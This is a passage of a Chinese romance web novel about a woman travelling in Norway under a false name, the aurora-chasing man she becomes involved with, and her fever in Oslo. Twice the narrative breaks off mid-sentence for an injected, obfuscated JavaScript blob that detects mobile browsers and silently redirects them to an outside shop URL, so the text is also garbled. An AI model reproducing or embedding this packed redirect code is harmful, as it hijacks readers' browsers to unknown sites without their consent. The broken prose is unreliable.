梁宛拿出相机,对着车窗外漆黑的夜拍了几张照,什么也拍不清。镜头里只有漫天被照亮的飞雪,和一片漆黑的夜。 她转身去看另一侧,车内微弱的灯光正映在Lee的脸上。 在梁宛的审美中,Lee这张英俊的脸与风景想比也丝毫不逊色。否则总是轻言放弃的她,也不会足足缠了他三次。色令智昏,鬼迷心窍,在夜晚安静又暧昧的风雪中,梁宛按下了快门。 在这1/250s的瞬间,路灯照亮那一扇车窗,周沥侧脸的轮廓被光刻印在画面中。即使看不清他的五官,即使看不清他的神情,却依旧能从他嘴唇的弧度找寻到他的笑意。 「给我看看极光猎人的照片!」 「你怎么不理我了?」 「艳遇来了吗?我看网上推荐的几个北欧极光猎人都很英俊,金发碧眼。你是不是藏着好东西不给我看?」 失神的那些时间里,谢晚馨的信息炮弹似的飞过来。 梁宛被她接二连三的问题问得害臊,可真相还真是如此。 Lee是她的艳遇,也很英俊,只有一点,他不是金发碧眼,他和她一眼,是黑头发黑眼睛的亚洲面孔。 「没有那种事。」 越少人知道她和Lee的事,Lee在梁宛生命中留下的印记就越少,分别的时刻才会更加干脆利落。梁宛在克制着不让他过多进入到自己的生活。 追逐极光的路途很远,梁宛与睡意抵抗了足足一小时,最终还是抵不过,沉沉睡去。 不知睡了多久,车行驶到颠簸的野地,在周沥的声音中,梁宛惊醒了。 睡梦中,她仿佛听见Lee叫她“梁宛”,是这一声将她唤醒。 但当她睁眼,赶跑瞌睡虫后,听见的是他一声声的“Mia”。 她为什么会做这样的梦? 梦里想脱下谎言的外壳,告诉他真相? “Mia,抬头看窗外。” “窗外?” 她抬起头,一片漆黑的夜里,陪伴一路的风雪停止了。 云层散开了。 如墨的天幕里不再被灰色的云团覆盖,一支无形的画笔在银河中添上流动的颜料。 是萤火虫在以流线飞舞,还是银河落九天,梁宛已分不清。 那流动的帘幕变幻着,吸引着她推开车门,一步一步走入雪地。 一望无际的旷野中,低头是洁白的雪,抬头是星空与极光。 巨大的孤独感像黑洞一样将梁宛吞噬。 “在挪威传说中,极光会摄取身穿白色衣物之人的灵魂。” 整片大地上除了风声外唯一的声音呼唤着她。 一身洁白的梁宛转过身,那里站着Lee——她生命里最狂放的意外。 他静静站在车门边,一只手直指着天空。 “别看我,看星空。” 梁宛知道他又要像刚才那样笑了。 可她就是忍不住想去看他。 她很健忘,尤其容易忘记人的容颜。可她想记住他的模样,记到很久以后。即使再也不会遇见,也想回忆起他。 胸腔里的情绪随着血液往上翻涌,在失控之前,梁宛急速抬起头,去看他指的那片天空。 那儿有一颗很亮的星星。 可不止如此。 极光之下,童话故事般落下一颗流星,紧接着是第二颗和第三颗。像串着珍珠的银线,不断拉长下坠。 梁宛从未想过自己会有看见流星雨的时刻。她来不及许愿,来不及拍照,什么也没有做,只是呆呆地立在那里,用眼睛记录了一切。 其实她没有什么愿望,她不知道自己想要什么。 周沥缓缓向她走来。 “我不相信顺其自然。Mia,无论你想要什么,请去追逐,它会来到你身边的。” 眼泪像拧不紧的水龙头,顺着泛红的眼眶滴答滴答流了下来。 梁宛飞快背过身擦拭它。 “命运来的时候,也不要闪躲,相信它是为你出现的。” 周沥摘去手套,抚上她冰凉的脸颊,轻轻擦拭去她的眼泪。 他淡淡笑着说:“小心眼泪结成冰。” 颇有些想要逗她笑的意味。 梁宛没有笑。 “Lee。” 她只喊了他的名字,什么也没有再说。 夜空下,她踮起脚尖,闭目轻轻吻住他的唇。 传说也许是真实的。 极光摄取了她的灵魂,将它永恒地留在了这片雪地。 12. 012 床笫之外,梁宛和周沥从未有过亲密的接触。 当梁宛冰凉轻柔的吻离开时,周沥睁开眼,手掌抵在她欲远离的后颈。 深邃的目光在极光流动下看着她,从她久久不抬起的眼睛,蔓延到她冻得通红的脸颊。漫长的时间里,周沥只是这样凝视她,圈着她,不让她从自己臂弯的一亩三分地中离开。 “告诉我,”他停顿一瞬,“这个吻是什么意思?” 少许疑问的语气,更多的是审视。 是冲动。 梁宛的心跳快得不寻常,她绷着脸,控制声音,回答得官方又克制。 “谢谢你带我看极光。” 闻言,周沥的眉梢微微牵动。 “这是谢礼?” “嗯。” 周沥垂眼,伸手覆住她暴露在外的右耳,俯身问:“在你的家乡都是这样表示感谢?” “对……对。” 梁宛一边回答,一边半蹲从他的臂弯里钻出来。 他的手心暖和,捂在她冻得失去知觉的耳朵上,温度渐渐回升,连听觉都敏锐了不少,呼吸声在夜里竟然这样震耳。 梁宛从余光里觉察到Lee低下头,视线聚焦在她微微颤着的嘴唇上。因此等到他再度靠近时,梁宛本能地慌乱后退,未注意到身后凸起的雪堆,脚后跟被绊住,她就这样踉跄着跌坐进雪地。 她应该为此时的狼狈而羞红脸。可是当梁宛抬起头时,她看见漫天流动的极光和没有边际的夜空——向她倾泻下来。 她就这样望着天空,久久未动,像要把这一幕连同那个人一起刻印在她的记忆中。 片刻过去,周沥蹲下身,掸去她身上的雪,几不可察地眯起眼,欲言又止。半晌,他向梁宛伸出手,将她拉起,什么也没说。 夜深人静,回程的路途遥远,车内的氛围与来时截然不同。 上车后梁宛就将极光的照片发给谢晚馨,一反常态主动问起她和李逸程的近况。 梁宛不擅长在安静的气氛里和另一个人相处。她的选择只有逃避,睡觉或者假装忙碌。 谢晚馨也反常。 她简略说了两句李逸程就转移了话题,先是问梁宛要极光猎人的照片,被后者以不好意思拍搪塞过去,后来她又提到陈知渊。 谢晚馨:「你加他了吗?」 梁宛:「我还是不加了,加了也不知道说些什么。这么多年过去,早就不熟悉了。」 谢晚馨发来一个生气的表情,没有下文。 “要是困了,就睡一会儿。” 静谧的环境中,周沥的声音兀然出现,梁宛的心跳随之漏了一拍,没能握紧手机,它啪一下砸在大腿上。 “没事,我不困。” 梁宛恨自己如此失态,靠近Lee就像触及雷电一样,躲之不及。 从看见极光和流星的那刻起,挪威传说走进了现实,她的灵魂被摄取了。 梁宛不喜欢欺骗自己。 她知道那种异样的感觉源自于什么。 如果有一个人在夜半时分,不辞辛苦,带着你在空无一人的雪夜,掠过万家灯火,翻山越岭,只为寻一个无云地带看极光——怎么可能不心动? 但这种心动必须止步于此。 对于这点,梁宛无比清醒。 她不耽溺于这份心动,也不会为它的出现感到惊恐。二十八年的生命里,她也对不同人心动过,每一次她都很好地保持了距离。 过了会儿,谢晚馨发来新的消息。 「我让陈知渊加你了。」 梁宛叹了声气。 真是躲不过。 她擅长控制自己,却不会处理别人过度的热情。譬如说谢晚馨,梁宛总拿她没办法。 梁宛觉得陈知渊大概率也是盛情难却,勉为其难才加她。 通过好友请求后,陈知渊主动发来了第一句话。 「小梁宛,很久没听说你的消息了。在哪高就?晚馨说你现在在挪威旅行?」 小梁宛…… 多么古老的称呼。 高中时,她还真喜欢陈知渊这么叫她。虽然面上从不表露出来,心里是欢喜的。 但二十八岁的梁宛对此心如止水。 「只是普通打工人,休年假出来见见世面。」 陈知渊回复:「挪威现在是凌晨,你怎么还不睡觉?」 梁宛:「今天特殊,来追极光。你在美国的发展前景不是很好吗?怎么想着回国了?」 梁宛不想和他谈太多自己的事,便把话题引过去。 陈知渊:「想家了。」 几秒后:「其实是学生时代起就想入职的公司给我发了offer,条件不错,就回来了。」 很现实的理由。 「恭喜你。」 梁宛成功用三个字把天聊死。 她不想耗神想下一个话题,对方也没有了下文。 梦想当红娘的谢晚馨心急得打来视频电话,梁宛条件反射接了起来,没来得及戴上耳机。 “你和陈知渊聊得如何?告诉你,我刚从他们班的人口中得知他这些年只谈过一个女朋友,一谈就是五年,是个长情的人。” 梁宛清了清嗓,打断她:“你等我戴一下耳机。” 说话间她用余光打量Lee,见他没什么反应,这才放心。 耳机还没戴上,谢晚馨就问:“你还在外面?难怪视频有点卡顿。刚看完极光在回去的路上?极光猎人是不是还在你身边?快让我看看——” 梁宛终于连上耳机,车内回归于平静。 “嗯我在回去的路上。” “给我看看极光猎人嘛——” 梁宛板着脸说:“有什么好看的,不都是两只眼睛一个鼻子一张嘴。” 车从野地开回到公路,周沥打转方向盘,比来时猛了些。梁宛身体一晃,下意识瞧了他一眼。 “梁宛同学,你的表情很心虚,偷偷藏着好东西不让我吃。你有没有点闺蜜情了?” 说得像她见色忘友。 偏偏梁宛是个喜欢自证清白的人。 “给你看给你看。” 她飞快地将手机朝着周沥的方向转动了一下,连一秒也不停留就转了回来。 屏幕里谢晚馨探着脖颈又睁大眼睛,沉静半晌后大喊道:“看不清啊,车里的光线那么暗,你还一闪而过!” 梁宛扭着头看窗外,小声说:“我和他又不熟,不好意思对着别人拍。” 不熟。 周沥意味不明地笑了笑,半晌后将刹车踩到底,疾驰的车骤停在路边。惯性的缘故,梁宛的身体向前一冲,缓过来后带着疑问看向Lee。 谢晚馨注意到这一点,一边喝着咖啡一边问:“怎么了?” 梁宛嘴上说着“没事”,实际却在用眼神试图和Lee进行交流。她不知道他为何突然停下,是不是遇到了什么事。 “有一只鹿跑过去了。” 梁宛顺着他指的方向看去,果然看到一个模糊的鹿影消失在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101887|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公路旁的深林中。 她点点头,“注意安全。” “是极光猎人的声音?这么好听?他说什么东西过去了?”谢晚馨边问边忍不住吐槽,“网络好卡啊。” “路上的信号不好,要不我们换一个时间再聊?” 梁宛试图结束这次通话。 “除非你让我和极光猎人打个招呼。不是说外国人很热情吗?我和他sayhi总可以吧。梁宛同学,你别吃到好的就藏着掖着。而且我对极光猎人这个职业真的很好奇,觉得他们神秘又浪漫。” 倘若梁宛只是遇见了一个帅哥,她一定乐意分享给谢晚馨看。但Lee不一样,和他的纠缠越少越好。 梁宛正想拒绝,周沥的声音传进了她的耳中,也传到了谢晚馨那儿。 周沥侧目问:“你的朋友?” 梁宛倏然回头,有些不知所措。 “Hi帅哥,我是梁宛的朋友——” 耳机里,谢晚馨的声音震耳,梁宛庆幸Lee听不见。谢晚馨向来是一个没心没肺的,她嘴里没有秘密,无论是自己的还是别人的。 “嗯,我朋友。”梁宛淡淡回应。 周沥重新缓缓启动车子,明知故说:“不打声招呼,岂不是显得我很没有礼貌?” “不,不用了……”梁宛强颜欢笑着,“她不会在意这些小细节。” “梁宛同学,”谢晚馨喊了半天无果,露出狡黠的笑容,她知道梁宛自始至终都没有摘下耳机,“等你回来,我要好好盘问你和这位极光猎人的故事。他和你说话的语气可不像是不熟,你也一副做贼心虚的样子。” “等回来再说吧。” 只要回到国内,只要离开了Lee,梁宛相信自己总能将此事搪塞过去的。 良久,喧嚣退去,车内终于回归宁静,同时也让梁宛重新开始坐立不安。 她知道Lee绝不是一个好糊弄的人,她几乎已经准备好接受他的质问或指责。 梁宛等了又等,等到山下漆黑一片的城市里亮起几盏微弱的光,他还是没有开口。 Lee不言亦不语地驾驶车辆,梁宛便忍不住去观察他,用余光,用不经意的一瞥。 他的神情依旧淡然,看不出喜怒。 兴许,他是真的不在意? “想说什么?” 周沥注视着道路,冷淡问道。 “没有。” 几乎是条件反射的回答。 梁宛终于还是察觉到了,他语气里微弱的不愉快。但别无他法,她只能将其选择性忽略。 说到底,即便他们之间闹得再难看,也只剩最后两三日的时光了。关系是否融洽,还有他的心情,都不是她应该考虑的问题。 梁宛闭上眼,深深吸了一口气,靠着车窗说:“我困了,睡一会儿。” 她在心里说了一句周沥听不见的对不起。 她此次来到挪威,是来当一个无情的坏女人。她不能因为一时的心动而改变初衷,从而让自己站到更被动的深渊。 对不起Lee,或是对不起自己——她只能选择前者。 没有月亮的夜晚,星光逐渐被云层藏起。 山下的城市好似在逐渐苏醒,却依旧不见晨光的踪影。北极圈里有的是长夜、寒风和无人诉说的孤寂。 后视镜中,周沥看了梁宛一眼,看她闭上的眼睛,也看她合上的心门。 回程的路显得那样漫长与沉默。 梁宛,你招惹人的目的究竟是什么? 13. 013 「你今天怎么都不回我的信息?」 霍易斐接连发来三条信息,周沥快速扫视一眼,熄灭手机屏幕。 昨夜回到酒店后,他和梁宛只浅浅睡了两个小时。此刻她在卫生间洗漱,他在翻阅邮件,只有沉默。 还是霍易斐。 「通知你一声,我准备回国了。」 周沥并不感到意外。 霍易斐从来都是将爱情看得比事业还重的人,周沥并不认可,但尊重。 「虽然这里的事业要中断,我很不舍,晓茵也劝我留下来,但如果身边没有她,我肯定不会快乐。回去之后,大不了从头来过,总归不会流浪街头。」 周沥默默坐了许久,终于拾起手机回了他一条消息。 「希望你不会后悔。」 霍易斐啧了一声,腹诽这个人还是这么没有人情味。 「后悔也不会来找你哭诉的。」 周沥笑了笑。 无论做出怎样的选择,不要后悔——这是他的人生准则。 后悔是这个世界上最无用的东西,只会让人更痛苦。 卫生间里,梁宛化完简单的素颜妆后,站在镜子前迟迟没有动,她在问自己的内心。 后悔没有选择一个更迟钝、滥情、好糊弄的人吗? 这一点,梁宛从不后悔。 但若问后悔选择Lee吗? 梁宛不知道答案。 Lee是她内心和身体出于本能的选择,但选择他意味着要承担失控的风险。 她喜欢审视自己,却并不总是能得到结果。这时候,她往往采取顺其自然的态度,不再思考这个问题,浑浑噩噩过下去。 直到今日,梁宛才真正看清了特罗姆瑟的面貌。 在高处望远,整座城淹没在白色的雪下,仿佛这里只有蓝色与白色,只有当鲜红的小火车经过,或靠岸的邮轮拨开海水,才会打破这里的宁静。 如果可以,她真想在这座城住上几个月。 现实是,梁宛觉得自己今后都不会再来挪威,若非必要,也不会去德国。她不希望若干年后,会有一个人和自己争夺孩子抚养权,或发生些不必要的纠葛。 她抚了抚肚子,也不知道此次旅行能否达成她的心愿。 最后两日了,梁宛并不希望和Lee闹僵。 收拾完浮沉的心情,她走出卫生间,脸上重新带上笑容,仿佛昨日两人之间的凝重是梦一场。 “Lee,今天你想去哪里?” 她的声音清亮,释放出和好的信号,尽管他们其实并没有吵架。 周沥合上电脑,放进包里,没什么多余表情,淡淡对她说:“去看虎鲸。” 梁宛一瞬间怔在原地。 他的表情比往常淡漠,这让她可以确定他的心情还是不佳。可是,他为什么还费心带她去看虎鲸?一句想要骂自己“混蛋”的话语在喉咙深处翻涌。 梁宛埋低了头,久久不语。 周沥经过她身边,意味深长瞧了她一眼,“不用多想,是昨天联系的船长。” 倘若是今天,他便不会再费尽心思去找船长了。是这个意思吗? 梁宛背对着他,深吸了一口气,攥紧了手心。 最后两日,违背良心,再做最后两日的坏人。 “谢谢。” 市中心的天气不比昨日,云层始终盘旋在上空,天色更是阴沉,整座城都陷入冷色调里,水面平静倒映着雪山与松。把人的情绪也往低谷牵拉。 今日观鲸的船只是艘小船,通体白色,在蔚蓝的海上格外帅气。除此之外,经验丰富的船长只为梁宛和周沥两个人服务。 周沥的安排还是一如既往地细致。 登船前,梁宛和周沥在市里用了中餐。 菜品虽迎合当地口味进行了改良,梁宛也甚为满意,但吃饭过程中凝滞的氛围,并没有因为美味佳肴就好上分毫。 梁宛在心里叹气,不免心想,即便她和Lee的相遇不是一场骗局,她和他也不合适生活在一起。她最怕冷战,最怕被撂在一边的无措和孤独。她放不下自尊去过度讨好,也忍不了一直生活在冰窖。 而Lee现在似乎有想要与她冷战的趋势。 “你在生气,是吗?” 周沥抬起头,将筷子搁在碗上,颇为正式地告诉她:“我没有生气。” 梁宛心想完了完了,死不承认自己在生气也是冷战的特征之一。 她的苦恼太过明显,周沥看在眼里,无声地弯了弯唇角。 “为什么觉得我在生气?” “不为什么,我随口一问。”梁宛低头把温水一饮而尽。 “你觉得我应该为哪件事感到不悦?”周沥靠着椅背问道。 “没有,当然没有,你没有不高兴最好。你不用把我说的话放在心上。”梁宛低头看了一眼餐盘,“走吧,我去结账。” 这家中餐厅只收现金,梁宛从挎包里翻找出钱包时,周沥接了一则工作电话。 他一边说着一边往外走,消失在门外。 结完账,梁宛走出中餐厅看见他沉着脸站在路牌边,半垂着眼帘,表情冷漠。起初他是用德语,过了些时间后,他改用了英语。 海风温柔,浪也轻悄。 坐在长椅上的梁宛听见了他的对话。 电话那头与Lee通话的人想必是换了一位,对方只会说英语,像是在哀求什么。Lee伫立在海岸边,微风吹拂着衣摆,神情未改,眼底却浮现出愠色。 梁宛还是第一次见他有如此明显的不悦与不屑。 她听见他简短说了一些往事,从中猜出对方原本是他的工作伙伴,但因为某种原因背叛了他。 梁宛瞬间觉得有一支箭刺中了自己的膝盖。 感知到那炙热的目光,周沥回头,在那瞬间,梁宛将头埋得很低。她看向脚边笨拙踱步的海鸟,仿佛什么也没有听见。 过了许久,海上某处的云层漏出缝隙,在遥远的地方泄下几束光。 海鸟煽动起翅膀,迎风而起。梁宛的目光追随着它直至海天交汇处。 风里,Lee最后的一句话,与那只海鸟振翅远飞的声音,齐齐回响在梁宛耳边。 她听见他不带有一丝回旋余地的声音说着: “我从不原谅欺骗。” - 特罗姆瑟,没有遗憾的地方。 看不到的极光,追不到的鲸鱼,若以梁宛自己的性子,早已放弃。但这些都因为一个人而不再有遗憾。 没有遗憾,也意味着不必再来。 在特罗姆瑟的最后一晚,梁宛在酒店bar独自坐了许久。 明天就是回奥斯陆的日子。 后天,她就要回国。 Bar里形形色色的人,像梁宛初进Hkok时那样。有人交谈,有人办公,有人喝不惯酒只是来尝个新鲜。 “Miss,这里有人吗?” 对方指着梁宛身侧的位置,她瞧了一眼便摇头。 她没有化妆,散着头发,一张素净的脸微微发红。她其实没有喝多少酒,但身体已经开始发热。 “你一个人来喝酒吗?” 梁宛抬起头,有些木讷地望着眼前的人。 她是一个人来喝酒的,甚至没有告诉同床共枕的Lee。 她没有回应对方,低下头。 “遇到烦心事了?我愿意倾听。” 依旧是沉默。 梁宛并不是故意不理会人,只是她情绪不高,头也因喝酒而发胀昏沉,连说话都是一件费力费神的事。 “Miss,”男人拍了拍她的背,“你还好吗?那里有沙发可以躺下休息。” 梁宛刚刚抬起手想说不需要,却听见有人介入这场对话。 “我会照顾她。” 熟悉的声音。 梁宛怔了怔,回身看见Lee。他垂着眼,拨开她握酒杯的手指,不动声色以手臂挡开那个男人的手。 “你是她的丈夫吗?我怎么相信你?” 人生好像就是在不停经历从前经历过的事。 模糊的记忆里,也有一个人用相似的方式质问过Lee。 周沥抬起眼,对上梁宛那双蒙着水雾的 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梁宛承认,说这番话时她有趁着酒意装可怜的嫌疑。 她不知道Lee吃不吃这一套。 但最后两日,她想和他做/爱。 并行在走廊里,周沥无声笑了笑。 她倒是会恶人先告状。 冷淡的究竟是谁? “Lee,我们做/爱吧。” 周沥的脚步停滞。 这就是她说的不知道如何相处? 第一次,连周沥自己也不知为何笑。 是气笑了,还是觉得讽刺? 横冲直撞来撩拨他的人是她。 性/事之外对他退避三舍的还是她。 “如果我说今天不想呢。” 周沥的眸光暗下去。 梁宛推开房门的动作一顿,回头看站在走廊上的他,张了张口,不知说什么。 微信的声音不合时宜地响起。 陈知渊:「昨天忘记回复了,谢谢你的祝贺,小梁宛。我听谢晚馨说,下个月在北京开同学会,我会去的,到时候见。」 梁宛站在门与墙之间,举着手机,受酒精影响大脑变得迟钝,眼睛无神地看着屏幕,想的却是其他事。 周沥走进来,目光不经意掠过她的微信聊天界面,脚步一顿,而后一只手握着她的胳膊往里推,一只手反将门关上。 “Mia。” “嗯?” 梁宛开始对这个假名有了一些反应。 “做/爱的时候不要心不在焉。” 做……什么? 等梁宛反应过来,她整个人已经被Lee抱起扔在了床上。手机神不知鬼不觉地被他扔去了沙发上,信息提示音还在响。 “手机——” “让它响着。” “可是——” 周沥俯身,近距离看着她。 从昨日开始,周沥便有些沉闷,像南方夏日阴雨连绵天。他看着她,有些许不知由来的恼,压抑克制着。 “要不要做?” 梁宛噤声了,望着他的眼眸。 陈知渊的消息还在跳动。 过了许久,她点点头,鼻尖有意或无意地擦过周沥的指骨。 “想要。” 梁宛的音色并不软,冷冷清清的带着些许疏离。 但她这一声却不同于以往,带着少许酒意,透着慵懒和缠绵。 周沥身形微微一滞。 身下,梁宛微微发烫的脸颊与无序的发丝,正轻轻蹭着他的掌心。 撑在梁宛身侧的另一只手不自觉收紧。 周沥低下头,脸埋进她颈窝的发丝间,久久不语。 她总是两幅面孔,像进行一场游戏。 有时像一只不让人靠近的刺猬,有时却像此刻这样——轻易环上他的腰,无度地索求,没有安全距离。 14. 014 Es tut 回奥斯陆之前,梁宛与周沥趁早去坐了缆车。 梁宛抱着再也不会来这里的决心,想尽可能多的记录这座她最喜欢的挪威城市。 坐缆车前,梁宛随口问周沥是否恐高,得到否定的回答。半晌,他也问她同样的问题。 “当然不。” 坐缆车是她提出来的。 “你有害怕的东西吗?” 梁宛想了想,说:“似乎没有。” 过了一会儿,她颠覆之前的回答:“有,但不具体。” 周沥不是刨根问底的人,听了便没再说什么,帮她在缆车上拍了些照片。 抵达山顶观景台时刚过十二点,太阳却已有要落下之势。 在咖啡厅喝了一杯拿铁后,天空逐渐染上柔和的粉蓝色调。洁白的雪山与红色的教堂,都被揉进这浪漫的氛围中,连云彩也参与这场午后的落日盛典。 即使被山顶的风吹得冻僵了脸,梁宛还是兴致勃勃地拍着照,游走在人群边缘,与周沥保持一定的距离。 从上山以后,她便不怎么说话了。 站在高处时,身边只有风声。远远看去,她仿佛可以看到地球的弧度,再一眨眼,一架飞机从粉色的云端划过。 不知道是飞去哪里的。 梁宛仰头看了很久。 她发觉自己站得还是不够高,飞机仿佛飞得并不快,在她的视野里存在了很久很久。 真是神奇,人只要坐上这白色的大鸟,就可以去到很远的地方,和留在原地的人相隔地球两端。 周沥静静站在她身后两米远的地方,注视她被风扬起的头发,和那双发红的眼睛。 “你还想多待一会儿吗?”过了许久,梁宛转身寻找周沥,看见他就在身后时怔了片刻,问道。 周沥抬手看了看时间,“去机场吧。” 梁宛点头。 已经没有遗憾了。 正要走,一对年轻的情侣忽然洋溢着笑容冲到梁宛面前。男生留着略长的头发,仿佛天生能抵御寒冷似的只穿着皮夹克。女生有着健康美丽的小麦色皮肤和一头红棕长发。 扑面而来的活力和那日周沥送给梁宛的鲜花一样,让她有片刻的失神。 “你是中国人吗?可以帮我们拍一下合照吗?” 当着周沥的面,梁宛选择性忽略了前一个问题,只点点头接过他们的富士相机。 梁宛想起网上流传的一个梗,说人像三要素是模特、模特以及模特。 与颜值无关,当爱意在二人之间流淌,从眼睛中迸发出来,连风也只不过是在为他们添彩。梁宛随手按下了快门,画面里便出现一个故事。 “谢谢你啊!好会拍。”女生接过相机,自告奋勇道,“我帮你和你男朋友也拍几张吧。” 梁宛不自觉跟着她一起看向周沥。 “我们不是男女朋友。” “诶?”女生露出不可置信的表情,片刻后又说,“那要拍个合照吗?这么好的风景。” 梁宛笑着摆摆手,“不用不用,谢谢你,我们不喜欢拍照。” 周沥什么也没说,站在距她不远的地方眺望红顶教堂。 下山的时候,梁宛翻阅着相机里的照片,从落日、晚霞到教堂、游轮,这个设备记录了特罗姆瑟的一切,唯独没有留下人的痕迹。 - 回奥斯陆的航班上,梁宛心不在焉,托着下巴始终望着窗外。 窗外一片黑,除了机翼上闪烁的灯光,什么也看不见。 虽说航程很短,梁宛还是靠着窗眯上眼。 她并不困,但飞机内的温度和层层叠叠未褪去的衣物令人昏沉。 不知过了多久。 迷迷糊糊间,梁宛仿佛听见机内广播说还有45分钟抵达洛杉矶,身旁传来一个女人的声音,她问梁宛想不想跟着她去美国念书。梁宛摇了摇头,说不想。女人吓唬道,如果梁宛不去美国念书,以后就见不到她了。梁宛犹豫了很久,觉得女人是在和自己开玩笑,抓着她的手臂撒娇说:“我不想离开我的朋友们。” 梁宛没有得到回应。 “女士,飞机已经抵达奥斯陆,请准备下飞机。” 空乘的声音。 再然后是一个男人的声音。 “请稍等,她有一些不适。” 她睡得很不安稳,呼吸的速率也比往常快,周沥伸手探了探她额头的温度,蹙起眉。 梁宛惊醒了,一睁眼她看见Lee,紧接着意识到自己正抱着他的手臂,另一只手更紧紧地捏着他的掌心,随即松开,坐直身体。 “我们在奥斯陆机场了?” “嗯。” 梁宛的身体里有团火焰在燃烧,和酒精带来的感觉不同,这让她晕眩胸闷得有些想吐。她扯下那条薄荷色的围巾攥在手里,低头大口呼吸了几次,忍着不适佯装镇定走出去。 飞机上的旅客几乎已经走完,只剩下他们两个和最后一排行动不便的一位老者。 她刚离开飞机,走上廊桥,身体忽然被一阵寒意吞噬。梁宛忍不住咳了两声,重新围上围巾,捂住了自己的口鼻。 她不迟钝,她知道自己感冒了,且有要发烧的趋势。赶在回国前,这实在不是什么好事。 这趟旅途进行到这里,花费已经超出她原定的计划,剩下一天她也仍有必要的支出。她不可能将机票进行改签。不想面对昂贵的改签费是其一,更重要的是原定计划回国的第二天她就要开始工作,这是梁宛不能再延缓的事。 关闭飞行模式的手机里已经收到陈彦和徐菲林的亲切问候。 「宛姐,别忘了带纪念品回来啊。」 梁宛头晕心烦地划走这条信息。 纪念品,她把该死的纪念品忘了。 徐菲林在群里@了她。 「Denise马上就回来了,到时候你们就没这么累了,她经验丰富,有不懂的可以问她。」 放下手机,梁宛行尸走肉般往行李转盘走。她还没有回到北京,那张无形且巨大的人情关系网和工作就已经压得她透不过气。 脚步软绵绵的时候,周沥牵住了梁宛悬空的手,十指扣在一起,抓得紧紧的,丝毫没有挣脱的空间。 “先去医院。” 梁宛摇头,“不用,我只是有一点感冒,等一下找个药店买药就行了。你们这里看病很麻烦吧。” “少说点话。” 她的声音沙哑得像含着一团血。 周沥蹙眉,伸手试探她额头的温度,又与自己的比较。 他不是一个会轻易听从别人的人。 梁宛拗不过他,连人带行李被安排进了一辆轿车里。 周沥对司机说了一个地址,冷着一张脸把梁宛耷拉着的脑袋揽到自己的肩上。 梁宛没抵抗,半合着眼皮,呼吸声很重很用力。 已经这样了,梁宛也就不顾忌什么了,顺势倒在了Lee的腿上,面朝前方侧躺着。她分不清自己是觉得冷还是热。 此刻占据她思想的问题是:医药费会不会很贵? “Lee,我突然想起来我有退烧药,我觉得我们不用去医院。” 她刚抬起来的脑袋,又被周沥按了下去。他调整了姿势,让她躺得更舒服些。 “再过二十五分钟到,休息,别分神。” 梁宛在心里滴血。 又是一笔开销。 Lee带她来的是一家私立医院,规模相当大,来这里看病的人颇多。 梁宛觉得Lee这个外国人对待感冒发烧的态度实在有些小题大做。在国内的时候,她最多也就是吃几颗退烧药,大多时候靠自己的身体熬过去,只有高烧不退时才会去医院挂几瓶盐水。 好在流程没有梁宛想象中那么繁复,她注意到医生与Lee认识,且颇为熟悉。 做完检查后,梁宛放下心,她不是流行性感冒,只是受凉,吃点药再好好休息就没什么问题。 “账单费用是多少?”当梁宛发现Lee已经替她付清费用后,当即问他,“我把钱给你。” “Mia,我不缺钱。” “你不缺钱是你的事,”梁宛当然看得出他家境殷实,“但这是我生病花费的钱。” 你我分得清清楚楚。 他不说,她就从钱包里翻出五千克朗硬塞到他口袋里,只给自己留下最后一千克朗应急。 她想起之前他支付过的个别住宿费与餐费,觉得这些钱只会少不会多,甚至想把剩下的一千也给他。 也许是最后一天与他相处的缘故,梁宛想降低自己的亏欠心理,对他比前一日殷切。她依旧订了那家五星级酒店。一连订了两晚,才好骗过Lee。 房型比之前的更昂贵,风景更优。房间内飘散着沁人心脾的香气。 原本,梁宛打算与Lee最后温存一晚,在他醒来之前就悄悄离开。 但计划赶不上变化,她生病了。她没有丧心病狂到拖着病躯去行那事,Lee也不可能是这种禽兽。 吃了药以后,梁宛觉得自己没有那么难受了,便提议要和他去这个酒店的bar看看。 “你现在不能喝酒。” “我不喝。”梁宛做出发誓的手势,“我只想看看这里有哪些酒。” “明天再看也不迟。” 梁宛一时语塞,半天才找到理由,“我想走出房间透透气。你要是不去,我就自己去。” 周沥迟疑片刻,取下挂在衣架上的薄荷色围巾,在她脖子上缠绕了几圈。 泛红的脸在薄荷色的衬托下更像一颗晶莹剔透的苹果,一双澄澈的眼睛望着他,异常坚定。 过了一会儿,梁宛忍不住嗓子里冲上来的痒意,咳了两声。 Bar里,周沥端着一杯柠檬水沉默坐着,任凭梁宛在一旁叽叽喳喳地向不同人询问酒的历史和故事。她还颇有公德心地一直捂着口鼻。 过了许久,他掀起眼帘。 她平时不是这么热络的性格,除了当初来招惹他时。 “Lee,你尝尝这些酒,告诉我味道如何好不好?” 语气都不似平时冷清,掺杂着些许娇气。 “今晚不喝酒。” 梁宛像一座冰川,有太多想法藏在海平面下,叫人去猜。 她又撒了一个谎。 “我的工作需要收集世界各地不同酒的信息,请你帮我这一个忙,我真的很想知道他们的口感。但我今天身体不适,不能喝酒。” 一个很容易被戳穿的谎言。 周沥似有若无地弯了弯嘴角。 她对酒的了解和刚毕业的学生没什么两样。 上一次是招惹他,这一次是为什么? 周沥缓慢转动玻璃杯,淡淡问:“什么酒?” “这个、这个……”梁宛一边咳着,一边指,“还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149628|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 